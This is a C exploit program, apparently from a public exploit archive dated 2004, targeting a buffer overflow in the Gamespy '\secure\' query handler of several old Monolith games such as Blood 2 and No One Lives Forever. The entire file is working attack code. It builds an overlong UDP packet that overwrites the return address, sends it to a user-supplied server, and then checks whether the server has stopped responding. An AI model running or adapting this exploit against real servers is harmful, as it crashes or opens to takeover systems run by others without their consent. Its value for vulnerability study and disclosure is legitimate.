207 lines
No EOL
4.7 KiB
C
207 lines
No EOL
4.7 KiB
C
/*
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by Luigi Auriemma
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <time.h>
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#ifdef WIN32
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#include <winsock.h>
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#include "winerr.h"
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#define close closesocket
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#else
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#include <unistd.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <arpa/inet.h>
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#include <net/inet.h>
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#include <netdb.h>
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#endif
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#define VER "0.1.1"
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#define PORT 27888
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#define TIMEOUT 3
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#define BUFFSZ 2048
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#define PCK "\\secure\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
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"\x55\x44\x33\x22"
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/* return address, each byte must be >= 0x20 and <= 0x7f */
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void gs_info_udp(u_long ip, u_short port);
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int timeout(int sock);
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u_long resolv(char *host);
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void std_err(void);
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int main(int argc, char *argv[]) {
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int sd;
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u_short port = PORT;
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struct sockaddr_in peer;
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setbuf(stdout, NULL);
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fputs("\n"
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"\\secure\\ buffer overflow in some old Monolith games "VER"\n"
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"by Luigi Auriemma\n"
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"e-mail: aluigi@altervista.org\n"
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"web: http://aluigi.altervista.org\n"
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"\n", stdout);
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if(argc < 2) {
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printf("\n"
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"Usage: %s <server> [port(%d)]\n"
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"\n"
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"Vulnerable games Latest versions\n"
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" Alien versus predator 2 1.0.9.6\n"
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" Blood 2 2.1\n"
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" No one lives forever 1.004\n"
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" Shogo 2.2\n"
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"\n"
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"Note: the return address will be overwritten by 0x%08lx\n"
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" (only the bytes from 0x20 to 0x7f are allowed)\n"
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"\n", argv[0], port, *(u_long *)(PCK + 72));
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exit(1);
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}
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#ifdef WIN32
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WSADATA wsadata;
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WSAStartup(MAKEWORD(1,0), &wsadata);
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#endif
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if(argc > 2) port = atoi(argv[2]);
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peer.sin_addr.s_addr = resolv(argv[1]);
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peer.sin_port = htons(port);
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peer.sin_family = AF_INET;
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printf("- target is %s:%hu\n\n",
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inet_ntoa(peer.sin_addr), port);
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fputs("- Request informations:\n", stdout);
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gs_info_udp(peer.sin_addr.s_addr, port);
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fputs("- Send BOOM packet:\n", stdout);
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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if(sendto(sd, PCK, sizeof(PCK) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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close(sd);
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fputs("- Check server:\n", stdout);
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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if(sendto(sd, "\\status\\", 8, 0, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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if(timeout(sd) < 0) {
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fputs("\nServer IS vulnerable!!!\n\n", stdout);
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} else {
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fputs("\nServer doesn't seem vulnerable\n\n", stdout);
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}
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close(sd);
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return(0);
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}
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void gs_info_udp(u_long ip, u_short port) {
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struct sockaddr_in peer;
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int sd,
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len,
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nt = 1;
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u_char buff[2048],
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*p1,
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*p2;
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peer.sin_addr.s_addr = ip;
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peer.sin_port = htons(port);
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peer.sin_family = AF_INET;
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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if(sendto(sd, "\\status\\", 8, 0, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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if(timeout(sd) < 0) {
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fputs("\nError: socket timeout, no replies received. Probably the server doesn't support the Gamespy query protocol or the port is wrong\n\n", stdout);
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close(sd);
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exit(1);
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}
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len = recvfrom(sd, buff, sizeof(buff) - 1, 0, NULL, NULL);
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if(len < 0) std_err();
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buff[len] = 0x00;
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p1 = buff;
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while((p2 = strchr(p1, '\\'))) {
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*p2 = 0x00;
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if(!nt) {
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if(!*p1) break;
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printf("%30s: ", p1);
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nt++;
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} else {
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printf("%s\n", p1);
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nt = 0;
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}
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p1 = p2 + 1;
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}
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printf("%s\n\n", p1);
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close(sd);
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}
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int timeout(int sock) {
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struct timeval tout;
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fd_set fd_read;
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int err;
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tout.tv_sec = TIMEOUT;
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tout.tv_usec = 0;
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FD_ZERO(&fd_read);
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FD_SET(sock, &fd_read);
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err = select(sock + 1, &fd_read, NULL, NULL, &tout);
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if(err < 0) std_err();
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if(!err) return(-1);
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return(0);
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}
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u_long resolv(char *host) {
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struct hostent *hp;
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u_long host_ip;
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host_ip = inet_addr(host);
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if(host_ip == INADDR_NONE) {
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hp = gethostbyname(host);
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if(!hp) {
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printf("\nError: Unable to resolv hostname (%s)\n", host);
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exit(1);
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} else host_ip = *(u_long *)hp->h_addr;
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}
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return(host_ip);
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}
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#ifndef WIN32
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void std_err(void) {
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perror("\nError");
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exit(1);
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}
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#endif
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// milw0rm.com [2004-10-10]
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